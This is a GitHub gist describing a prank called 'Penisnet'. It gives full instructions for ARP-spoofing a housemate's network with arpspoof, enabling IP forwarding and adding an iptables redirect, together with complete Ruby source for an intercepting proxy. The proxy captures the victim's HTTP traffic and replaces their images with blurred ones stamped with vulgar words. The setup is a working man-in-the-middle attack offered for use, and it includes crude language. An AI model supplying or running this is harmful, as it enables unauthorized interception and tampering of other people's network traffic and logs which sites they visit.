Skip to content

Instantly share code, notes, and snippets.

@canton7
Created April 17, 2012 17:30
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save canton7/2407653 to your computer and use it in GitHub Desktop.
Save canton7/2407653 to your computer and use it in GitHub Desktop.
Penisnet

Penisnet

So. One of my housemates pranked me, and I decided to get my revenge. My revenge was 100% inspired by upside-down-ternet, and goes as follows:

  1. Linux box running the ruby script below, which acts as a transparent proxy
  2. iptables rules on the linux box route all port 80 requests through the proxy
  3. arp poisoning routes all of the victim's traffic through the linux box
  4. Proxy isn't actually transparent. It intercepts requests for images, and does some processing on them, blurring them and writing a rude word in the middle.
  5. Hilarity and confusion ensues.

Insutrctions

  1. Put proxy.rb somewhere on your linux box/VM
  2. Install ImageMagick using your favourite method (you might also need to install some gscript fonts)
  3. Install the necessary gems: gem install eventmachine mini_magick dimensions
  4. Install the arpspoof tool, which might be in a package called dnsniff
  5. Enabling IP forwarding with echo 1 > /proc/sys/net/ipv4/ip_forward
  6. Route all port 80 traffic through the proxy with iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 (assuming that the proxy runs on port 8080)
  7. Start the proxy: ruby proxy.rb
  8. Start ARP poisoning: arpspoof -i <eth device> [-t <target IP address>] <router IP address>

Caveats

This software is entirely experimental and not entirely stable. Don't be too surprised if it crashes, is inefficient, etc. Also, it will rape your computer -- the blurring especially takes lots of CPU cycles.

It can't handle anything that isn't over HTTP. If they're using HTTPS, you're fecked.

Also, make sure your target doesn't get scared to the point of re-installing their OS ><

require 'eventmachine'
require 'net/http'
require 'mini_magick'
require 'dimensions'
class Upstream < EventMachine::Connection
def initialize(client, request)
@client, @request = client, request
end
def receive_data(data)
@client.send_data(data)
# puts data.split("\r\n").map{ |r| ">> #{r}" }.join("\r\n")
end
def connection_completed
send_data(@request)
end
def unbind
@client.close_connection_after_writing
end
end
class Handler < EventMachine::Connection
COLOURS = %w{black red yellow blue HotPink green OrangeRed crimson turquoise1}
WORDS = %w{penis cock balls wang schlong dick willy knob chub clunge frig feck weiner choad shaft prick rod tackle boner}
def receive_data(data)
# puts data.split("\r\n").map{ |r| "<< #{r}" }.join("\r\n")
# puts "\n"
if data =~ /HTTP\/1\.\d/
# New header...delete old proxy
@proxy.close_connection_after_writing if @proxy
@proxy = nil
@buf = nil
end
if @proxy
@proxy.send_data(data)
return
end
(@buf ||= "") << data
if @buf =~ /\r\n\r\n/ # all http headers received
req = data.each_line.first.split(/\s+/)
if req.first == 'GET' && req[1] =~ /\.(gif|png|jpg)/
host, port = @buf.match(/^Host: (\S*)(?::(\d*))?/).captures
path = req[1]
host << ":#{port}" if port
path = "http://" << File.join(host, path) unless path.include?('://')
return_image(path)
else
forward_request
end
end
end
def forward_request
host, port = @buf.match(/^Host: (\S*)(?::(\d*))?/).captures
puts ">> Connection to #{host}:#{port}"
@proxy = EventMachine.connect(host, port || 80, Upstream, self, @buf)
end
def return_image(url)
puts ">> Image from #{url}"
url = URI.parse(url)
response = Net::HTTP.get_response(url)
send_data "HTTP/#{response.http_version} #{response.code} #{response.message}\r\n"
response.each_header do |k,v|
send_data "#{k.capitalize}: #{v}\r\n" unless k == 'content-length'
end
image = MiniMagick::Image.read(response.body)
text = WORDS.sample
# Have to take a somewhat hack appraoch
d = Dimensions::Reader.new
d << response.body
width = d.width
# Rather crude scaling
fontsize = (width.fdiv(text.length * 0.9)).ceil
image.blur "1000x4"
image.combine_options do |c|
c.gravity "center"
c.weight "700"
c.fill COLOURS.sample
c.pointsize "#{fontsize}"
c.draw "text 0,0 '#{text.upcase}'"
end
blob = image.to_blob
send_data "Content-length: #{blob.size}\r\n"
send_data "\r\n"
send_data image.to_blob
rescue
puts "!! IMAGE ERROR. Forwarding"
forward_request
end
end
EventMachine.run do
puts "Starting server on 0.0.0.0:8080"
EventMachine.start_server("0.0.0.0", 8080, Handler)
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment